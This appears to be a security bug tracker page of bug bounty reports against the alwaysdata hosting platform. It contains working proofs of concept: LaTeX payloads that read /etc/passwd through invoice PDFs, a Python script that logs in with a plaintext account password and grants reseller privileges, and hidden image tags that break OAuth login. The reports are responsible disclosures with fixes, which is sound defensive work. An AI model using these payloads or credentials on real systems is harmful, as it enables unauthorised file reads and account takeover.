Track the IP addresses associated with each session and flag any suspicious activity, such as multiple logins from different locations. Allow users to specify trusted IP addresses or ranges, restricting session initiation to known and approved locations.
|
|
357 | Bug Bounty Report : MTA-STS Missing | Closed | 02.07.2026 |
Task Description
Bug Description: Upon examining the DNS (Domain Name System) records for the domain alwaysdata.com , it has come to my attention that the MTA-STS record is missing . The MTA-STS mechanism is designed to enforce secure email communication by requiring the use of TLS (Transport Layer Security) encryption. However, in this case, the absence of the MTA-STS record exposes the email infrastructure to potential security vulnerabilities.
Expected Behavior: The MTA-STS record should be correctly configured and published in the DNS records for the domain [Domain Name]. It is essential for secure email communication and enforcing TLS encryption for all incoming and outgoing email traffic.
Steps to Reproduce:
Navigate this url https://easydmarc.com/tools/mta-sts-check and enter your domain name alwaysdata.com
Observe the absence of the MTA-STS record in the DNS response. No record was found, indicating that the MTA-STS record is not present in the DNS configuration.
Impact: The absence of an MTA-STS record leaves the email infrastructure vulnerable to various security risks, such as downgrade attacks, man-in-the-middle attacks, and interception of sensitive email content. Without the MTA-STS mechanism in place, email communications may be transmitted over unencrypted channels, compromising the confidentiality and integrity of the data.
|
|
356 | Outdated Exim SMTP Server (Version 4.96) Potentially A ... | Closed | 02.07.2026 |
Task Description
Dear Alwaysdata Security Team, I hope you are doing well. I am writing to responsibly disclose a security observation identified during an assessment of your publicly accessible SMTP infrastructure. Summary During testing, multiple public-facing SMTP servers were identified exposing an Exim 4.96 SMTP banner. Based on the detected version and publicly available Exim security advisories, the affected systems may be impacted by multiple known vulnerabilities ranging from Remote Code Execution (RCE) and Privilege Escalation to Information Disclosure, SMTP Smuggling, and Denial of Service (DoS). Affected Assets IP Address Hostname Service 185.31.40.80 smtpin1.paris1.alwaysdata.com SMTP (Exim 4.96) 78.142.219.80 smtpin1.paris2.alwaysdata.com SMTP (Exim 4.96) 78.142.219.5 overlord-core.paris2.alwaysdata.com TLS Service Evidence Asset 1 IP Address: 185.31.40.80 Hostname: smtpin1.paris1.alwaysdata.com SMTP Banner 220 smtpin1.paris1.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME Asset 2 IP Address: 78.142.219.80 Hostname: smtpin1.paris2.alwaysdata.com SMTP Banner 220 smtpin1.paris2.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME
Asset 3 IP Address: 78.142.219.5 Hostname: overlord-core.paris2.alwaysdata.com Supported TLS Versions • TLS 1.2 • TLS 1.3 Technical Description The SMTP servers publicly disclose Exim version 4.96 through the SMTP banner. According to publicly available Exim security advisories, this version predates several security fixes released during 2023–2026. Depending on the exact build, enabled modules, and runtime configuration, the deployment may be affected by multiple security vulnerabilities. These issues include unsafe memory handling, improper input validation, authentication-related flaws, MIME parsing issues, SMTP protocol parsing weaknesses, JSON parsing bugs, UTF-8 processing vulnerabilities, and DNS handling issues. Collectively, these weaknesses increase the attack surface of the mail infrastructure and may allow attackers to compromise confidentiality, integrity, or availability under specific conditions. Potentially Applicable CVEs Critical Remote Code Execution • CVE-2023-42115 • CVE-2023-42116 • CVE-2023-42117 These vulnerabilities involve memory corruption and insufficient validation of SMTP data, potentially allowing unauthenticated remote attackers to execute arbitrary code under vulnerable configurations. Privilege Escalation • CVE-2025-30232 A use-after-free vulnerability that may allow local privilege escalation under affected deployments. Information Disclosure • CVE-2026-48840 • CVE-2026-40687 • CVE-2026-40686 • CVE-2023-42119 • CVE-2023-42114 These vulnerabilities may expose process memory, heap contents, or sensitive information through malformed protocol interactions. Memory Corruption • CVE-2026-40685 • CVE-2025-67896 These issues involve heap corruption or out-of-bounds memory operations that may lead to crashes or code execution depending on the deployment. SMTP Security Issues • CVE-2023-51766 (SMTP Smuggling) • CVE-2024-39929 (RFC2231 MIME Parsing) These vulnerabilities may enable email spoofing, bypass of SPF-related protections, or delivery of blocked attachments under specific mail flow configurations. Denial of Service • CVE-2026-40684 • CVE-2022-3620 • CVE-2022-3559 These vulnerabilities may allow attackers to trigger service crashes or otherwise reduce SMTP service availability. Security Impact If the affected version is confirmed and the vulnerable functionality is enabled, successful exploitation could potentially result in: • Remote Code Execution (RCE) • SMTP Server Compromise • Privilege Escalation • Information Disclosure • Heap or Stack Memory Corruption • SMTP Smuggling • Email Spoofing • SPF Protection Bypass • Delivery of Malicious Attachments • Denial of Service (DoS) The actual impact depends on the deployed Exim configuration and whether the relevant vulnerable components are enabled. Recommendation I recommend the following remediation steps:
Upgrade Exim to the latest supported stable release. Apply all vendor security patches. Verify that the SMTP servers are no longer exposing outdated Exim versions. Review enabled authentication mechanisms and optional Exim modules. Validate that all publicly disclosed Exim vulnerabilities affecting the deployed version have been remediated. Perform a post-upgrade security verification to ensure the service is no longer affected. Conclusion The observed SMTP infrastructure publicly identifies itself as running Exim 4.96, a version associated with multiple publicly disclosed security vulnerabilities. While additional validation is required to determine which vulnerabilities are exploitable in your specific environment, upgrading to the latest supported release is strongly recommended to reduce the attack surface and maintain a secure mail infrastructure. This report is submitted in the spirit of responsible disclosure. I would be happy to provide any additional information if required. Kind regards, Cyber_Subhash Security Researcher
|
|
355 | LaTeX Injection via Billing Invoice Annotation | Closed | 06.07.2026 |
Task Description
Vulnerability Title: LaTeX Injection via Billing Invoice Annotation Allows Server-Side Arbitrary File Read
Severity: Critical (CVSS 9.1)
Affected Endpoint: POST https://admin.alwaysdata.com/billing/annotate/
Summary
The billing annotation feature allows authenticated users to add text notes to their invoice transactions. This annotation is rendered into a PDF invoice using xelatex without any input sanitization or LaTeX command escaping. An attacker is able to inject LaTeX commands (such as \input{/path/to/file}) into the annotation field, causing the server to read arbitrary files accessible to the www-data user and embed their contents into the generated PDF.
Steps to Reproduce
1. Log into https://admin.alwaysdata.com with a valid account. 2. Navigate to Billing in the sidebar. 3. Ensure you have at least one transaction (add credit if needed to generate one). 4. Open the transaction and add an annotation with the following payload:
\input{/etc/hostname} 5. Save the annotation. 6. Download the invoice PDF for that transaction. 7. Open the PDF — the server's hostname (overlord-core) appears embedded in the invoice text, confirming server-side file read.
To read files containing special characters (underscores, hashes, dollar signs), use:
{\catcode`\_=12\catcode`\^=12\catcode`\#=12\catcode`\$=12\catcode`\%=12\input{/etc/passwd}}
This disables LaTeX's special character handling and includes the raw file content in the PDF.
Confirmed file reads: - /etc/hostname → overlord-core - /etc/machine-id → c23a410ea94a4695a56726c80307ad0e - /etc/debian_version → 12.14 - /etc/passwd → all 42 lines of system accounts
And many more
Impact
- Arbitrary file read on the central management server (overlord-core) as www-data. - Attacker can read Django application source code, configuration files, and potentially credentials stored under /data/www/production/. - Any authenticated user (including free-tier accounts) can exploit this — no special privileges required. - The annotation field has a 255-character limit, but \input{/path} payloads are short enough to fit easily.
Root Cause
In the invoice PDF template (invoice_pdf.tex), the annotation is rendered with autoescape disabled and no LaTeX-specific escaping:
{% autoescape off %} transaction.annotations.first
The PDFAnnotationForm accepts any text in the annotation CharField with no validation or filtering of LaTeX commands. When _generate_pdf() is called, it runs xelatex -halt-on-error on the template, executing any LaTeX commands present in the annotation.
Remediation
1. Sanitize annotation input — strip or escape LaTeX special characters and commands (\, {, }, $, #, ^, _, %, ~) before saving the annotation. A whitelist approach (allow only alphanumeric + basic punctuation) is safest. 2. Use a LaTeX escape filter in the template — replace transaction.annotations.first with a custom |latex_escape template filter that escapes all LaTeX control characters. 3. Sandbox xelatex — run PDF generation with –no-shell-escape and disable \input/\include/\read/\openin commands via a restricted TeX configuration or by using –shell-restricted mode. 4. Run xelatex in a container with no access to sensitive files — mount only the template directory, not the entire filesystem.
Video Proof of concept is attached
|
|
350 | OAuth State Cookie Unbounded Growth (Authentication DoS ... | Closed | 02.07.2026 |
Task Description
# OAuth State Cookie Unbounded Growth (Authentication DoS)
—
## Submission Details
| Field | Value |
| ——- | ——- |
| Title | OAuth State Cookie Unbounded Growth Leading to Authentication DoS |
| Severity | Low |
| CVSS Score | 4.3 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L |
| CWE | CWE-400 - Uncontrolled Resource Consumption |
| Endpoint | `GET /oauth/google/login/?next=/` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
## 1. Description
When a user initiates Google OAuth login on the alwaysdata admin panel, the server generates an OAuth `state` parameter (a random nonce that protects against CSRF in the OAuth flow) and stores it in a browser cookie (`google_state`).
The vulnerability: Instead of replacing the previous state cookie when a new OAuth flow is started, the server wraps the existing cookie value in a new JSON layer, causing unbounded growth:
``` First click: {"state": "ABC123", "next": "/"} Second click: {"state": "XYZ789", "next": "/", "previous": {"state": "ABC123", "next": "/"}} Third click: {"state": "DEF456", "next": "/", "previous": {"state": "XYZ789", …, "previous": {…}}} ```
Each initiation adds ~600 bytes to the cookie. After ~8 initiations, the cookie exceeds the 4 KB browser limit. The browser silently drops the oversized cookie. Subsequent OAuth login attempts fail silently — the state parameter can't be verified, so the flow is aborted.
—
## 2. Steps to Reproduce
### Step 1: Initiate OAuth Login ```http GET /oauth/google/login/?next=/ HTTP/2 Host: admin.alwaysdata.com ```
Response: ```http HTTP/2 302 Found Location: https://accounts.google.com/… Set-Cookie: google_state={"state":"ABC123","next":"/"} ```
### Step 2: Repeatedly Initiate OAuth (8+ times) Each reload adds a nested `previous` layer to the cookie.
### Step 3: Observe Cookie Growth
| Iteration | Cookie Size | Status |
| ———– | ————- | ——– |
| 1 | 216 bytes | Normal |
| 2 | 422 bytes | Growing |
| 3 | 694 bytes | Growing |
| 4 | 1,058 bytes | Growing |
| 5 | 1,542 bytes | Growing |
| 6 | 2,184 bytes | Growing |
| 7 | 3,046 bytes | Growing |
| 8 | 4,194 bytes | ❌ OVER 4KB |
| 9 | 5,720 bytes | ❌ OVER 4KB |
### Step 4: Attempt OAuth Login After the cookie exceeds 4KB, the browser drops it. The OAuth callback fails because the `state` parameter cannot be verified.
—
## 3. Proof of Concept
### Python PoC
```python import requests
s = requests.Session()
for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/google/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("google_state", "")
size = len(state_cookie)
print(f"Iteration {i+1}: cookie={size} bytes")
if size > 4096:
print(f" >>> OVER 4KB LIMIT <<<")
```
### PoC Output
``` Iteration 1: cookie=216 bytes Iteration 2: cookie=422 bytes Iteration 3: cookie=694 bytes Iteration 4: cookie=1058 bytes Iteration 5: cookie=1542 bytes Iteration 6: cookie=2184 bytes Iteration 7: cookie=3046 bytes Iteration 8: cookie=4194 bytes
>>> OVER 4KB LIMIT <<<
Iteration 9: cookie=5720 bytes
>>> OVER 4KB LIMIT <<<
```
### Apple OAuth Also Affected
```python # Apple OAuth shows same pattern (though stops growing at 3046 bytes) for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/apple/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("apple_state", "")
print(f"Apple iteration {i+1}: {len(state_cookie)} bytes")
```
—
## 4. Attack Scenario
### Victim Perspective
1. Victim visits an attacker-controlled page 2. Page contains 8+ hidden image tags loading the OAuth URL:
```html
<img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
<img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
<!-- repeated 8+ times -->
```
3. Each load inflates the `google_state` cookie 4. Cookie exceeds 4KB and is dropped by browser 5. Victim later tries to log in via Google OAuth → fails silently
### Result
The victim cannot authenticate via Google OAuth until they manually clear the `google_state` cookie.
—
## 5. Impact
| Impact | Description |
| ——– | ————- |
| Authentication DoS | Users cannot log in via Google/Apple OAuth |
| Silent Failure | No error message - OAuth flow just fails |
| Persistent | Cookie remains oversized until manually cleared |
| User Interaction Required | Victim must visit attacker-controlled page |
| Recovery | Manual cookie clearing required |
### CVSS Score Breakdown
``` CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L ```
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over network |
| Attack Complexity | Low (L) | Simple image tags |
| Privileges Required | None (N) | No authentication needed |
| User Interaction | Required (R) | Victim must visit page |
| Scope | Unchanged (U) | Affects victim's browser only |
| Confidentiality | None (N) | No data exposure |
| Integrity | None (N) | No data modification |
| Availability | Low (L) | OAuth login DoS only |
Score: 4.3 (Low)
—
## 6. Remediation Recommendations
### 1. Replace Instead of Nest
```python # VULNERABLE - nests existing state def initiate_oauth(request):
new_state = generate_random_token()
existing_state = request.COOKIES.get('google_state', '{}')
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/'),
"previous": json.loads(existing_state) # <-- Bug: unbounded nesting
})
response.set_cookie('google_state', new_cookie_value)
return response
# SECURE - replaces state def initiate_oauth(request):
new_state = generate_random_token()
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/')
})
response.set_cookie('google_state', new_cookie_value, max_age=600)
return response
```
### 2. Set Short Cookie TTL
```python response.set_cookie('google_state', new_cookie_value, max_age=600) # 10 minutes ```
### 3. Use Stateless State Token
```python # Use signed JWT instead of stored state state_token = jwt.encode({
'state': new_state,
'next': next_url,
'exp': time.time() + 600
}, SECRET_KEY, algorithm='HS256') response.set_cookie('google_state', state_token, max_age=600) ```
### 4. Limit Cookie Size
```python # Monitor cookie size and reject if too large if len(existing_state) > 2000:
existing_state = "{}" # Reset if too large
```
—
## 7. Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Cookie grows with each OAuth initiation | ✅ |
| Cookie exceeds 4KB after ~8 iterations | ✅ |
| Google OAuth affected | ✅ |
| Apple OAuth affected | ✅ |
| Cookie contains nested JSON | ✅ |
### Test Data
| Iteration | google_state Size | Status |
| ———– | ——————- | ——– |
| 1 | 216 bytes | ✅ |
| 2 | 422 bytes | ✅ |
| 3 | 694 bytes | ✅ |
| 4 | 1,058 bytes | ✅ |
| 5 | 1,542 bytes | ✅ |
| 6 | 2,184 bytes | ✅ |
| 7 | 3,046 bytes | ✅ |
| 8 | 4,194 bytes | ❌ OVER LIMIT |
| 9 | 5,720 bytes | ❌ |
—
## 8. References
- CWE-400: https://cwe.mitre.org/data/definitions/400.html - OWASP Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service - Browser Cookie Limits: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
—
## 9. Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
## 10. Conclusion
Finding is CONFIRMED.
The `google_state` cookie grows unbounded with each OAuth initiation, exceeding the 4KB browser limit after approximately 8 iterations. This enables a Denial of Service attack against Google and Apple OAuth login functionality.
An attacker can trigger this by loading the OAuth initiation URL 8+ times in a victim's browser (via hidden image tags), causing the cookie to be dropped and OAuth login to fail silently.
Severity: Low (CVSS 4.3) - Authentication convenience DoS only. No account access or data exposure.
—
|
|
349 | Reseller-Level Permission Flags Accessible to Regular C ... | Closed | 25.06.2026 |
Task Description
# Finding: Reseller-Level Permission Flags Accessible to Regular Customer Accounts
—
## Submission Details
| Field | Value |
| ——- | ——- |
| Title | Reseller-Level Permission Flags Accessible to Regular Customer Accounts |
| Severity | High |
| CVSS Score | 8.0 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-269 - Improper Privilege Management |
| Endpoint | `POST https://admin.alwaysdata.com/permissions/add/` |
| Affected Fields | `customer_full_accounts`, `customer_full_servers` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
## 1. Description
alwaysdata's permission system allows account owners to delegate access to other users. The permissions creation form at `/permissions/add/` exposes reseller-level flags to all customers, including regular (non-reseller) accounts.
Reseller flags identified: - `customer_full_accounts` - grants access to manage all customer accounts on the platform - `customer_full_servers` - grants access to manage all server configurations on the platform
The vulnerability: The server accepts these flags from any account, regardless of whether the submitting account has reseller privileges. A regular customer can create a permission record with these flags active (HTTP 302), and the flags are saved as "checked" (active) in the permission details.
—
## 2. Test Environment
| Item | Value |
| —— | ——- |
| Test Account | cyberzod (ID 482835) |
| Account Type | Regular Customer (NOT reseller) |
| Testing Method | Manual HTTP requests via Python |
—
## 3. Steps to Reproduce
### Step 1: Verify Account is Regular Customer
# Check account type in profile
GET https://admin.alwaysdata.com/profile/
Result: Account confirmed as regular customer (no reseller privileges).
### Step 2: Access Permissions Add Page
GET https://admin.alwaysdata.com/permissions/add/
Result: Page loads with permission checkboxes.
### Step 3: Locate Reseller Flags
The page contains reseller-level checkboxes: - `customer_full_accounts` - `customer_full_servers`
### Step 4: Submit Reseller Flags
Request:
POST /permissions/add/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...
csrfmiddlewaretoken=...&
customer_full_accounts=on&
customer_full_servers=on&
email=test_1782361132@example.com
Response:
HTTP/2 302 Found
Location: /permissions/
Set-Cookie: messages=...Successfully created...
### Step 5: Verify Permission Created
GET https://admin.alwaysdata.com/permissions/469280/
Response:
Permission 469280 details:
- customer_full_accounts: checked (active)
- customer_full_servers: checked (active)
- Grantee: test_1782361132@example.com
—
## 4. Proof of Concept
### Python PoC Script
import requests
import re
import time
EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"
s = requests.Session()
s.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
# Login
login_page = s.get("https://admin.alwaysdata.com/login/")
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
s.post(
"https://admin.alwaysdata.com/login/",
data={
"csrfmiddlewaretoken": csrf_login,
"login": EMAIL,
"password": PASSWORD,
"alive": "on"
}
)
# Get permissions page
add_page = s.get("https://admin.alwaysdata.com/permissions/add/")
csrf = add_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
# Create permission with reseller flags
test_email = f"test_{int(time.time())}@example.com"
r = s.post(
"https://admin.alwaysdata.com/permissions/add/",
data={
"csrfmiddlewaretoken": csrf,
"customer_full_accounts": "on",
"customer_full_servers": "on",
"email": test_email,
},
allow_redirects=False
)
print(f"Status: {r.status_code}") # 302
# Verify permission was created
permissions_page = s.get("https://admin.alwaysdata.com/permissions/")
perm_ids = re.findall(r'/permissions?/(\d+)/', permissions_page.text)
perm_id = max(perm_ids, key=lambda x: int(x))
detail_page = s.get(f"https://admin.alwaysdata.com/permissions/{perm_id}/")
has_cfa = 'customer_full_accounts' in detail_page.text and 'checked' in detail_page.text
has_cfs = 'customer_full_servers' in detail_page.text and 'checked' in detail_page.text
print(f"customer_full_accounts active: {has_cfa}") # True
print(f"customer_full_servers active: {has_cfs}") # True
### PoC Output
Status: 302
customer_full_accounts active: True
customer_full_servers active: True
—
## 5. Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Account is regular customer (not reseller) | ✅ Confirmed |
| Reseller flags exist on permissions page | ✅ Confirmed |
| Regular account can submit reseller flags | ✅ Confirmed |
| Server accepts submission (HTTP 302) | ✅ Confirmed |
| Permission record created with reseller flags | ✅ Confirmed |
| Flags saved as "checked" (active) | ✅ Confirmed |
| Permission ID: 469280 | ✅ Confirmed |
—
## 6. Impact
### Immediate Impact
| Impact | Description |
| ——– | ————- |
| Privilege Escalation | Regular customers can grant themselves or others reseller access |
| Cross-Account Access | Reseller permissions grant access to ALL customer accounts |
| Server Control | Reseller permissions grant access to ALL server configurations |
| Data Exposure | Reseller permissions grant access to ALL customer data |
### Attack Chain
1. Regular customer (cyberzod) creates permission with reseller flags
└─ customer_full_accounts=on, customer_full_servers=on
└─ email=attacker@example.com
2. Attacker (attacker@example.com) accepts the permission
3. Attacker gains reseller-level privileges
└─ Can access ALL customer accounts
└─ Can access ALL server configurations
└─ Can view/modify ALL customer data
### Business Impact
- Reputation Damage: Platform trust compromised - Data Breach: All customer data potentially exposed - Regulatory: GDPR/CCPA violations possible - Financial: Customer churn, legal liability
—
## 7. CVSS Score Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over the network |
| Attack Complexity | Low (L) | Simple HTTP request |
| Privileges Required | Low (L) | Requires authenticated account |
| User Interaction | None (N) | No user interaction needed |
| Scope | Changed (C) | Affects other customers' resources |
| Confidentiality | High (H) | Can access all customer data |
| Integrity | High (H) | Can modify all customer data |
| Availability | None (N) | No availability impact |
Score: 8.0 (High)
—
## 8. Remediation Recommendations
### 1. Server-Side Role Validation
def create_permission(request):
# Validate that only resellers can set reseller flags
if not request.user.is_reseller:
if request.POST.get('customer_full_accounts') or request.POST.get('customer_full_servers'):
raise PermissionDenied("Reseller-level permissions require a reseller account")
# Continue with permission creation
...
### 2. Hide Reseller Flags from Regular Users
{% if user.is_reseller %}
<input type="checkbox" name="customer_full_accounts">
<input type="checkbox" name="customer_full_servers">
{% endif %}
### 3. Implement Proper RBAC
Customer Roles: ├── Regular User │ ├── account_full │ ├── site_full │ └── database_full ├── Reseller │ ├── customer_full_accounts │ ├── customer_full_servers │ └── ALL regular permissions └── Admin
├── ALL reseller permissions
└── Platform-wide privileges
### 4. Audit Existing Permissions
- Review all permissions with `customer_full_accounts` or `customer_full_servers` - Verify they were created by legitimate resellers - Remove any created by regular customers
—
## 9. Proof of Concept Screenshots
### Screenshot 1: Regular Account (No Reseller Privileges)
Account: cyberzod Account Type: Regular Customer Reseller Status: False
### Screenshot 2: Reseller Flags Found
📝 All checkbox fields:
customer_full_accounts
customer_full_servers
account_full
site_full
database_full
[…]
### Screenshot 3: Submission Accepted (302)
Response Status: 302 Location: /permissions/ Message: Successfully created.
### Screenshot 4: Permission Created with Active Flags
Permission ID: 469280 customer_full_accounts: ✅ checked (active) customer_full_servers: ✅ checked (active) Grantee: test_1782361132@example.com
—
## 10. Affected Accounts
| Account Type | Affected | Explanation |
| ————– | ———- | ————- |
| Regular Customer | ✅ Yes | Can create reseller permissions |
| Reseller | ✅ Yes | Already have these permissions (expected) |
| Platform Admin | ❌ No | Not customer accounts |
All regular customer accounts on the platform are affected.
—
## 11. References
- CWE-269: https://cwe.mitre.org/data/definitions/269.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - OWASP Privilege Escalation: https://owasp.org/www-community/attacks/Privilege_escalation
—
## 12. Cleanup Confirmation
| Action | Status |
| ——– | ——– |
| Test permission created | ✅ |
| Permission verified | ✅ |
| Test permission deleted | ✅ |
| Account in clean state | ✅ |
# Permission deleted
DELETE /permissions/469280/delete/
Response: 302 Found
—
## 13. Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
## 14. Conclusion
Finding is CONFIRMED.
A regular (non-reseller) customer account can: 1. ✅ See reseller-level permission flags in the UI 2. ✅ Submit reseller flags and receive HTTP 302 3. ✅ Create permission records with reseller flags active 4. ✅ Grant reseller-level access to any email address
This vulnerability enables privilege escalation from a regular customer account to platform-wide reseller access, potentially affecting all customers and server configurations on the platform.
—
|
|
348 | Subdomain Squatting on alwaysdata.net Platform Namespac ... | Closed | 25.06.2026 | |
|
347 | Unrestricted Apache Directive Injection Leading to Remo ... | Closed | 25.06.2026 | |
|
346 | Title : Mailman User Account Takeover Due to Inconsiste ... | Closed | 02.07.2026 | |
|
345 | Server-Side Request Forgery (SSRF) via Reverse Proxy Co ... | Closed | 24.06.2026 | |
|
344 | Exposed .git directory on security.alwaysdata.com leaks ... | Closed | 20.06.2026 | |
|
343 | SSRF: TYPE_URLS scheduled jobs fetch arbitrary URLs, no ... | Closed | 04.06.2026 | |
|
342 | Login rate limit bypass enables unlimited credential st ... | Closed | 01.06.2026 | |
|
341 | Unauthenticated Generation of Production PayZen Payment ... | Closed | 01.06.2026 | |
|
340 | API Customer Create Endpoint Accessible Without Authent ... | Closed | 01.06.2026 | |
|
339 | High Severity: SQL Injection via 'redirect_from' parame ... | Closed | 01.06.2026 | |
|
338 | 2FA Secret Permanently Exposed in Profile Page HTML Af ... | Closed | 03.06.2026 | |
|
337 | [ALW-001] Flyspray .git Directory Fully Exposed on secu ... | Closed | 11.05.2026 | |
|
336 | [ALW-015] Flyspray CSRF Token is a Plain Integer with L ... | Closed | 11.05.2026 | |
|
335 | [ALW-011] Flyspray Attachments Downloadable via Sequent ... | Closed | 11.05.2026 | |
|
334 | [ALW-010] Flyspray CSP Allows unsafe-inline and unsafe- ... | Closed | 11.05.2026 | |
|
333 | [ALW-009] Flyspray Session Cookie Missing Secure and Sa ... | Closed | 11.05.2026 | |
|
332 | [ALW-007] Flyspray Login Endpoint Has No Rate Limiting ... | Closed | 11.05.2026 | |
|
331 | [ALW-005] Password-Reset Differential Response Enables ... | Closed | 11.05.2026 | |
|
330 | [ALW-003] Registration Token Still Leaks to Matomo — In ... | Closed | 11.05.2026 | |
|
329 | Unauthenticated Username Enumeration | Closed | 07.05.2026 | |
|
328 | Marketplace App OAuth Install-Time Scope Escalation via ... | Closed | 27.04.2026 | |
|
327 | Email Bounce Handler SSRF via Crafted Return-Path Heade ... | Closed | 27.04.2026 | |
|
326 | WebSocket Proxy Host Header Confusion Enables Cross-Ten ... | Closed | 27.04.2026 | |
|
325 | Deno Runtime --allow-env Flag Injection via Application ... | Closed | 27.04.2026 | |
|
324 | PostgreSQL pg_catalog Enumeration via Shared Superuser ... | Closed | 27.04.2026 | |